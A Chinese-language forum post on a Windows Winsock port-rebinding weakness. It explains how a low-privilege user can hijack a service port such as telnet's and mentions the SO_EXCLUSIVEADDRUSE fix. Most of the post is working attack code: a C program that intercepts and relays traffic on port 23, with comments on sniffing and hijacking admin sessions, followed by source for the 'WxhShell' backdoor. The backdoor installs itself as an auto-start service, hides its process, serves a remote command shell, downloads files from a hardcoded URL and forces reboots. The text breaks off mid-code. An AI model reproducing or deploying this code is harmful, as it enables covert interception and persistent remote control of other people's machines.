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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7k.d|<mRv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6\%r6_.d  
B>ms`|q=l  
  saddr.sin_family = AF_INET; xV"6d{+  
%g!yccD9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0~Um^q*'3  
dl7Riw-J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q]yV:7  
L[`R8n1C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lpIteZw:  
)e @01l  
  这意味着什么?意味着可以进行如下的攻击: Z|V"8jE  
C3&17O6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "bv,I-\  
x8\E~6`,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d/"gq}NT  
n ;Ql=4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SD)5?{6<  
aS c#&{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A@9U;8k  
&*Q|d*CP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rhlW  
Oex{:dO "F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |!?2OTY  
rD:gN%B=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vo:52tCk}m  
6n2Vx1b  
  #include _ C7abw-  
  #include :DS2zA  
  #include .6lY*LI  
  #include    $O;N/N:m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T%M1[<"Q  
  int main() C:|q'"F  
  { G%V=idU*"  
  WORD wVersionRequested; EuR!yD  
  DWORD ret; 1puEP *P  
  WSADATA wsaData; B:R7[G;1  
  BOOL val; _ Yb Eo+  
  SOCKADDR_IN saddr; =:t@;y  
  SOCKADDR_IN scaddr; +G3nn!g l4  
  int err; sR7{i  
  SOCKET s; l8hvq(,{  
  SOCKET sc; .FfwY 'V  
  int caddsize; / K2.V@T  
  HANDLE mt; ;o~+2Fir  
  DWORD tid;   ae9k[=-  
  wVersionRequested = MAKEWORD( 2, 2 ); 23B^g  
  err = WSAStartup( wVersionRequested, &wsaData ); [[Jv)?jm  
  if ( err != 0 ) { +X2 i/}  
  printf("error!WSAStartup failed!\n"); k1QpX@  
  return -1; 2n-Tpay0  
  } wiK@o$S-  
  saddr.sin_family = AF_INET; oo$WD6eCR  
   ihpz}g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N \CEocU  
1j${,>4tQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =jk-s*g  
  saddr.sin_port = htons(23); o{S}e!Vb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W<cW;mO  
  { tk3<sr"IQ  
  printf("error!socket failed!\n"); Cu)%s  
  return -1; fl5UY$a2-  
  } YW4b m  
  val = TRUE; {WM&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3isXgp8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wB1-|= K1  
  { Pq[0vZ_}dN  
  printf("error!setsockopt failed!\n"); NIWI6qCw  
  return -1; ]ut-wqb{p  
  } o3\SO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u~naVX\3b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~vjr;a(B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .yFg$|yG  
M2zos(8g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Mo/2,DiI5  
  {  "df13U"  
  ret=GetLastError(); A .jp<>  
  printf("error!bind failed!\n"); \gJapx(  
  return -1; Hb@G*L$  
  } 7(+OsE  
  listen(s,2); e GqvnNv  
  while(1) ' 5OVs:)"^  
  { }LHT#{+ x  
  caddsize = sizeof(scaddr); \Z6gXO_  
  //接受连接请求 @gu77^='  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }jyS\drJ  
  if(sc!=INVALID_SOCKET) xsY>{/C  
  { 0$F _hZU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =Nv= Q mO  
  if(mt==NULL) :xAe<Pq  
  { 5b{yA~ty  
  printf("Thread Creat Failed!\n"); =?`y(k4a  
  break; Nak'g/uP>  
  } DO1N`7@o  
  } ^NnU gj  
  CloseHandle(mt); nY"rqILX?  
  } c=jI.=mi3  
  closesocket(s); 6b+ Wl Ib  
  WSACleanup();  Vgru, '  
  return 0; _/z)&0DO  
  }   _]?Dt%MkD  
  DWORD WINAPI ClientThread(LPVOID lpParam) @dT: 1s  
  { E^EU+})Ujr  
  SOCKET ss = (SOCKET)lpParam; ai;gca_P#  
  SOCKET sc; Vx7Dl{?{'  
  unsigned char buf[4096]; NbdMec  
  SOCKADDR_IN saddr; 1 ">d|oC  
  long num; i Ks,i9j  
  DWORD val; 3>@qQ_8%~  
  DWORD ret; Fgc:6<MGM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }Nd`;d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q 2SSJ  
  saddr.sin_family = AF_INET; n[MIa]dK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o,''f_tRQ|  
  saddr.sin_port = htons(23); VATXsD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^b|Nw:  
  { =Zb"T5E  
  printf("error!socket failed!\n"); "e7$q&R |  
  return -1; WT ~dA95  
  } (-Ct!aW|  
  val = 100; L9unhx  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K+\0}qn  
  { K^cWj_a"  
  ret = GetLastError(); EfrkB"  
  return -1; Pguyf2/w  
  } ixJ20A7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |>/&EElD  
  { /Y\E68_Fh  
  ret = GetLastError(); eI=Y~jy  
  return -1; ?C>VB+X}y  
  } m^oi4mV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jO3u]5}.6  
  { T>uWf#&pjs  
  printf("error!socket connect failed!\n"); &"j).Ogm4  
  closesocket(sc); G}?P r4Gj  
  closesocket(ss); ,C@hTOT  
  return -1; GFc  
  } EBL,E:_)  
  while(1) Z564K7IV  
  { Zxxy1Fl#.[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XdIVMXLL\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^s(X VVA  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B 1ZHV^  
  num = recv(ss,buf,4096,0); 4M<JfD  
  if(num>0) 7^t(RNq  
  send(sc,buf,num,0); neY=:9  
  else if(num==0) PHiX:0zT  
  break; cT=wJ  
  num = recv(sc,buf,4096,0); #NQz&4W  
  if(num>0) 6<Pg>Bg  
  send(ss,buf,num,0); + x ;ML  
  else if(num==0) 5N3!!FFE  
  break; HfeflGme*  
  } I.\f0I'.  
  closesocket(ss); 2}#wd J`  
  closesocket(sc); feq6!k7  
  return 0 ; kx:lk+Tx  
  } W!4V: (T  
W.6 JnYLQ&  
>~wk  
========================================================== n.qxxzEN  
Z"%O&O  
下边附上一个代码,,WXhSHELL ; R|#ae@  
~ :b:_ 5"  
========================================================== gc8PA_bFz  
]gZ8b- 2O  
#include "stdafx.h" DEwtP  
-.Pu5et4  
#include <stdio.h> Wo WM  
#include <string.h> T# _n-b>  
#include <windows.h> ]E8<;t)#  
#include <winsock2.h> 6RT0\^X*:  
#include <winsvc.h> >\oJ&gdc  
#include <urlmon.h> I&NpN~AU  
!%\To(r[  
#pragma comment (lib, "Ws2_32.lib") rs<&x(=Hv  
#pragma comment (lib, "urlmon.lib") \gzwsT2&  
Rd1ku=  
#define MAX_USER   100 // 最大客户端连接数 %WT:RT_  
#define BUF_SOCK   200 // sock buffer 3w:Z4]J  
#define KEY_BUFF   255 // 输入 buffer jUR #  
|e[0Qo@  
#define REBOOT     0   // 重启 xjbyI_D  
#define SHUTDOWN   1   // 关机 llG#nDe  
g Wv+i/,  
#define DEF_PORT   5000 // 监听端口 [QqNsco)  
Q]g4gj  
#define REG_LEN     16   // 注册表键长度 GxDF7 z%&  
#define SVC_LEN     80   // NT服务名长度 ?nSp?m;  
NUnc"@  
// 从dll定义API @)'@LF1Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F)iG D~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  nIDsCu=A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >/`c mNmb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bq&S?! =s  
N[bf.5T  
// wxhshell配置信息 ?*mbce[  
struct WSCFG { 6.7 Kp  
  int ws_port;         // 监听端口 |{LaZXU&  
  char ws_passstr[REG_LEN]; // 口令 XM@i|AK M0  
  int ws_autoins;       // 安装标记, 1=yes 0=no P$ dgO  
  char ws_regname[REG_LEN]; // 注册表键名 Z *<x  
  char ws_svcname[REG_LEN]; // 服务名  aC }1]7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m#K%dR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eF;1l<<   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b`|MK4M(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tl7:}X<?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t7+Ic  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '=5_u  
5 /jY=/0.a  
}; yGG\[I;7  
v*fc5"3eO  
// default Wxhshell configuration ~_j%nJ &2  
struct WSCFG wscfg={DEF_PORT, 59Q Q_#>  
    "xuhuanlingzhe", 32|L $o  
    1, $H@)hY8wA  
    "Wxhshell", N3c)ce7[  
    "Wxhshell", }=m?gF%3  
            "WxhShell Service", jMWwu+w  
    "Wrsky Windows CmdShell Service", +U)|&1oa  
    "Please Input Your Password: ", bnY8.Lpf|  
  1, cBF%])!  
  "http://www.wrsky.com/wxhshell.exe", @#Uiy5N  
  "Wxhshell.exe" I_I;.Ik  
    }; WCl;#=  
7`<? f O  
// 消息定义模块 X6*y/KG N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @wgGnb)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AG\ 852`1m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }ZVv  
char *msg_ws_ext="\n\rExit."; C^=gZ 6m  
char *msg_ws_end="\n\rQuit."; & O\!!1%  
char *msg_ws_boot="\n\rReboot..."; 0@x$Cp  
char *msg_ws_poff="\n\rShutdown..."; B:#0B[  
char *msg_ws_down="\n\rSave to "; 2|>wY%  
yx;R#8;b.  
char *msg_ws_err="\n\rErr!"; UkbQ'P+oS  
char *msg_ws_ok="\n\rOK!"; R/cq00g  
Jd2Y)  
char ExeFile[MAX_PATH]; UXB8sS*wQ?  
int nUser = 0; JU \J  
HANDLE handles[MAX_USER]; |=}~>!!  
int OsIsNt; m:O2_%\l  
I"<. h'  
SERVICE_STATUS       serviceStatus; ]sP9!hup  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [#6Esy8|  
F8;4Oj  
// 函数声明 s^R2jueR  
int Install(void); XTaWd0Y  
int Uninstall(void); RW[<e   
int DownloadFile(char *sURL, SOCKET wsh); \0T*msYQ  
int Boot(int flag); Xt*%"7yTp  
void HideProc(void); f/i,Zw  
int GetOsVer(void); +9rbQ? '  
int Wxhshell(SOCKET wsl); 6U9Fa=%>}  
void TalkWithClient(void *cs); ayz1i:Q|  
int CmdShell(SOCKET sock); |/\1nWD  
int StartFromService(void); $v@$oPmMj  
int StartWxhshell(LPSTR lpCmdLine); 5nqdY*  
PlRs- %d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sz@?%PnU|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2#M:J gWV  
}gRLW2&mR>  
// 数据结构和表定义 f8jz49C  
SERVICE_TABLE_ENTRY DispatchTable[] = L(P:n-^  
{ 3v+}YT{>b  
{wscfg.ws_svcname, NTServiceMain}, G6mM6(Sr  
{NULL, NULL} L\CM);y  
}; Ki;5 =)  
<KPx0g?=b  
// 自我安装 TFNU+  
int Install(void) ms<uYLp  
{ d6 EJn/  
  char svExeFile[MAX_PATH]; :?6$}GcW  
  HKEY key; ! -nm7Q  
  strcpy(svExeFile,ExeFile);  grA L4  
@$} \S  
// 如果是win9x系统,修改注册表设为自启动 0MGK3o)  
if(!OsIsNt) { '6J$X-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,8 ?*U]}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3zF7V:XH  
  RegCloseKey(key); -vAG5x/,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D|'Z c &  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R:x04!}  
  RegCloseKey(key); 3-%~{(T/  
  return 0; ;K-t  
    } :S6 <v0`Z  
  } vJ}  
} vz5 RS  
else { m|FONQ,@D  
LOkDx2@g  
// 如果是NT以上系统,安装为系统服务 LgKEg90w(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R! xc $`N  
if (schSCManager!=0) 4>`w9   
{ bGO_y]Pc  
  SC_HANDLE schService = CreateService y N%Pe:R  
  ( HV(*6b@  
  schSCManager, cNC BbOMr  
  wscfg.ws_svcname, r T$g^  
  wscfg.ws_svcdisp, -z1o~~  
  SERVICE_ALL_ACCESS, V t;&2v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >m{-&1Tx  
  SERVICE_AUTO_START, v A~hkkj{  
  SERVICE_ERROR_NORMAL, 7O :Gi*MA  
  svExeFile, A1T;9`E  
  NULL, sJ()ItU5i  
  NULL, ~3]8f0^%m  
  NULL, [T|1Qq7  
  NULL, B%;+8]  
  NULL Yr0i9Qow  
  ); I65GUX#DV  
  if (schService!=0) f\w4F'^tj  
  { -bQvJ`iF  
  CloseServiceHandle(schService); H}rP{`m  
  CloseServiceHandle(schSCManager); 'Q,<_ L"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Wp1L0$B  
  strcat(svExeFile,wscfg.ws_svcname); CMUphS-KE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `&JA7UD>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Py<vN!  
  RegCloseKey(key); <-7Ha_#  
  return 0; x9s`H)  
    } 13 p0w  
  } ]2 N';(R  
  CloseServiceHandle(schSCManager); K 2v)"|T)  
} {a%cU[q  
} v>l?d27R  
\?}.+v  
return 1; mt7:`-  
} :7*\|2zA  
r${a S@F  
// 自我卸载 ^r$5];n  
int Uninstall(void) wt,N<L  
{ rMloj8O*  
  HKEY key; CKgyv%T5m:  
wu'60po  
if(!OsIsNt) { izA3INT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZH :X 4!  
  RegDeleteValue(key,wscfg.ws_regname); UQr+\ u  
  RegCloseKey(key); I !~Omr@P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6h8NrjX  
  RegDeleteValue(key,wscfg.ws_regname); AlV2tffY^  
  RegCloseKey(key); VQ`O;n6/`  
  return 0; _~"3 LB  
  } qpCi61lTDJ  
} JOk`emle  
} "5bk82."  
else { V4D&&0&n  
VNPd L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S_=uv)%a  
if (schSCManager!=0) 9rz"@LM  
{ r&;AG@N/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hw2Hn   
  if (schService!=0) r?*?iw2g  
  { K*[wr@)u  
  if(DeleteService(schService)!=0) { ['j,S<Bu~  
  CloseServiceHandle(schService); oQO3:2a  
  CloseServiceHandle(schSCManager); \GP c_m:qL  
  return 0; A+&Va\|x  
  } Ho|n\7$  
  CloseServiceHandle(schService); D1 z3E;:  
  } fRmc_tx  
  CloseServiceHandle(schSCManager); K`3cH6"L6  
} Zx0c6d!B  
} 4mg&H0 !  
xa:P(x3[  
return 1; >[U$n.  
}  t&]IgF  
~ME=!;<_  
// 从指定url下载文件 NeP1 #  
int DownloadFile(char *sURL, SOCKET wsh) 7)#/I  
{ 4B]a8  
  HRESULT hr; Zup?nP2GkT  
char seps[]= "/"; 3ji#"cX  
char *token; !JA63  
char *file; 5+J/Qm8{bb  
char myURL[MAX_PATH]; A`Nb"N$H13  
char myFILE[MAX_PATH]; 4g9VE;Gd  
6(=:j"w0  
strcpy(myURL,sURL); TvR2lP  
  token=strtok(myURL,seps); WMg^W(  
  while(token!=NULL) Sl#XJ0 g  
  { <rI~+J]s  
    file=token; czzV2P/t}  
  token=strtok(NULL,seps); ] $*cmk(Y  
  } &0`L;1R  
q ^?{6}sy  
GetCurrentDirectory(MAX_PATH,myFILE); R<)uvW_@  
strcat(myFILE, "\\"); +Xk!)Ge5E*  
strcat(myFILE, file); n:+M Nr  
  send(wsh,myFILE,strlen(myFILE),0); '7^_$M3$\  
send(wsh,"...",3,0); :|g{ gi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a@. /e @p  
  if(hr==S_OK) V RL6F2 >6  
return 0; O<*iDd`(e  
else (;h\)B!o  
return 1; <LE>WfmC  
=9M-N?cV  
} *V/SI E*8  
X}Lp!.i9o  
// 系统电源模块 Rzk JS9)m  
int Boot(int flag) |^{ IHF\  
{ \wd~ Y  
  HANDLE hToken; .:0nK bW  
  TOKEN_PRIVILEGES tkp; Z3d&I]Tf  
f]4gDmn^  
  if(OsIsNt) {  E=E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WJ@,f%=<~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1<F/boF~  
    tkp.PrivilegeCount = 1; lF<(yF5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i || /=ai  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &uM?DQ`o8  
if(flag==REBOOT) { xab[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $f%_ 4 =  
  return 0; = ~yh[@R)  
} 4 _ 3\4  
else { G2rvi=8=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <8Ad\MU  
  return 0; k"6^gup(U  
} R[z6 c )  
  } l"Css~^  
  else { Vy biuP  
if(flag==REBOOT) { g8C+j6uR0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0|cQx VJb  
  return 0; 83h6>D b  
} 3yQ(,k#  
else { t|/ /oEY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~b+>o  
  return 0; ~_q\?pw<$L  
} {5*5tCIt  
} n\QG-?%Pi  
CA3.fu3(p  
return 1; 1\BECP+  
} 3,GSBiK3}  
3k=q>~& @  
// win9x进程隐藏模块 X*b0qJ Z  
void HideProc(void) "371`!%  
{ =3@^TW(j  
JS4pJe\q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Q{l ]D  
  if ( hKernel != NULL ) Z?~7#F~Z`  
  { C][`Dk\D{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3 . @W.GG8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OS3J,f}<=  
    FreeLibrary(hKernel); OIN]u{S  
  } (GZm+?  
g\ke,r6  
return; ]fR 3f  
} + }^  
' =oV  
// 获取操作系统版本 QF>H>=Za=  
int GetOsVer(void) P<bA~%<7"[  
{ l|DOsI'r  
  OSVERSIONINFO winfo; cu Nwv(P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "k+QDQ3=  
  GetVersionEx(&winfo); *e^ ZH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L Nj|t)Ov  
  return 1; bBZvL  
  else JL <}9K  
  return 0; CxO) d7c  
} X%;,r 2g  
.AKx8=f  
// 客户端句柄模块 3M^ /   
int Wxhshell(SOCKET wsl) <4Ak$ E %"  
{ !a0HF p$9  
  SOCKET wsh; U_w)*)F  
  struct sockaddr_in client; M+Dkn3bx  
  DWORD myID; nkpQM$FW  
$XJe)  
  while(nUser<MAX_USER) |/q*Fg[f  
{ j@9A!5<CCk  
  int nSize=sizeof(client); :r|dXW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bO-8<IjC_3  
  if(wsh==INVALID_SOCKET) return 1; 2-8<uUy  
#ujcT%1G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R(csJ4F  
if(handles[nUser]==0) B-o"Y'iXs  
  closesocket(wsh); b+{,c@1rd  
else xe 6x!  
  nUser++; _I2AJn`#  
  } uu(.,11`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "3Ec0U \s  
n] &fod  
  return 0; m(9E{;   
} L-Z1Xs  
1y>P<[  
// 关闭 socket '*K/K],S]  
void CloseIt(SOCKET wsh)  ,5<-\"{]  
{ H>M0G L  
closesocket(wsh); y1P?A]v  
nUser--; ~jJu*s$?  
ExitThread(0); gp;(M~we  
} nPKf~|\1{  
bvAO(`  
// 客户端请求句柄 X\M0Q%8  
void TalkWithClient(void *cs) J`\%'pEn  
{ B~z& "`  
eE1w<] Eg  
  SOCKET wsh=(SOCKET)cs; yfYAA*S!z  
  char pwd[SVC_LEN]; BHa!jw_~o  
  char cmd[KEY_BUFF]; #U'n=@U@(  
char chr[1]; lQoa[#q  
int i,j; bE0cW'6r  
a}MOhM6T  
  while (nUser < MAX_USER) { >/Slk {  
7qu hp\  
if(wscfg.ws_passstr) { .0Cpqn,[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <TDgv%eg0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?eeE[F  
  //ZeroMemory(pwd,KEY_BUFF); Pf]L`haGN  
      i=0; 6=FF*"-6E  
  while(i<SVC_LEN) { c_%vD~6W-  
b>G!K)MS3  
  // 设置超时 C}wmoYikV  
  fd_set FdRead; 24]O0K  
  struct timeval TimeOut; KrG$W/<tg  
  FD_ZERO(&FdRead); AM,@BnEcuT  
  FD_SET(wsh,&FdRead); &EZ28k"x  
  TimeOut.tv_sec=8; TqCzpf&&h/  
  TimeOut.tv_usec=0; CI ~+(+q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zb3E-'G+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ln9U>*<  
]l`?"X|^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Il<'+ ^  
  pwd=chr[0]; $7,n8ddRy  
  if(chr[0]==0xd || chr[0]==0xa) { ;p) gTQa  
  pwd=0; PJO +@+"{@  
  break; ~u7a50  
  } .DIHd/wA  
  i++; v"\Q/5p  
    } y1FS?hSD0  
Z-Zox-I1}-  
  // 如果是非法用户,关闭 socket ,253'53W)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JoIffI?{(D  
} k(!#^Mlz[  
kC6J@t)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BPtU]Bv-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ig*!0(v5$  
enE8T3   
while(1) { /id(atiF^  
6imDA]5N&  
  ZeroMemory(cmd,KEY_BUFF); ]#KZ W)M  
Ez+.tbEA,  
      // 自动支持客户端 telnet标准   7hY~  
  j=0; e&#qj^  
  while(j<KEY_BUFF) { `TBau:ElI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LQ373 j-  
  cmd[j]=chr[0]; ~O&3OL:L  
  if(chr[0]==0xa || chr[0]==0xd) { Cz8=G;\  
  cmd[j]=0; AI/xOd!a  
  break; Q(>89*b&  
  } XF'K dz>p  
  j++; BPwFcT)i!(  
    } 6xvyhg#B  
44]/rP_m  
  // 下载文件 9^x'x@6  
  if(strstr(cmd,"http://")) { &qF   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e%u1O -*  
  if(DownloadFile(cmd,wsh)) WR%x4\,d#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Evq</  
  else mO(m%3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -}4<P}.5T  
  } K9 :I8E<  
  else { hZU @35~BN  
=T|Z[/fto  
    switch(cmd[0]) { Tz:mj  
  k[&+Iy  
  // 帮助 ]|@RWzA  
  case '?': { ~f;d3dJ]/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uR"(0_  
    break; UW8 8JA0  
  } $ nx&(V  
  // 安装 IhhB^E|  
  case 'i': { uwU;glT  
    if(Install()) L?23Av0W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LSs!U 3"  
    else j:0(=H!#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~L<q9B( @  
    break; ~kj1L@gy   
    } W4Tuc:X5  
  // 卸载 ]SA]{id+  
  case 'r': { pA&CBXio  
    if(Uninstall()) UMuRB>ey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0L9z[2sj  
    else hWP$U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k}(C.`.  
    break; 6av]L YK  
    } "d^hY}Xx  
  // 显示 wxhshell 所在路径 E %FCOKw_  
  case 'p': { -U`]/  
    char svExeFile[MAX_PATH]; >j%HVRW  
    strcpy(svExeFile,"\n\r"); 2WE_NEpJI  
      strcat(svExeFile,ExeFile); }'U "HHv  
        send(wsh,svExeFile,strlen(svExeFile),0); /J")S?. [u  
    break; WPPz/c|j  
    } UC"<5z lcu  
  // 重启 $<xa "aN!  
  case 'b': { vc0'x4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -]C3_ve  
    if(Boot(REBOOT)) -|"W|K?nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &-mPj82R  
    else { mI_ ?hl?Pv  
    closesocket(wsh); iaPrkMhd  
    ExitThread(0); wi-O}*O   
    } zUF%`CR  
    break; ?j6?KR@#  
    } N|WZk2 "  
  // 关机 K; ,2ag  
  case 'd': { :FcYjw  
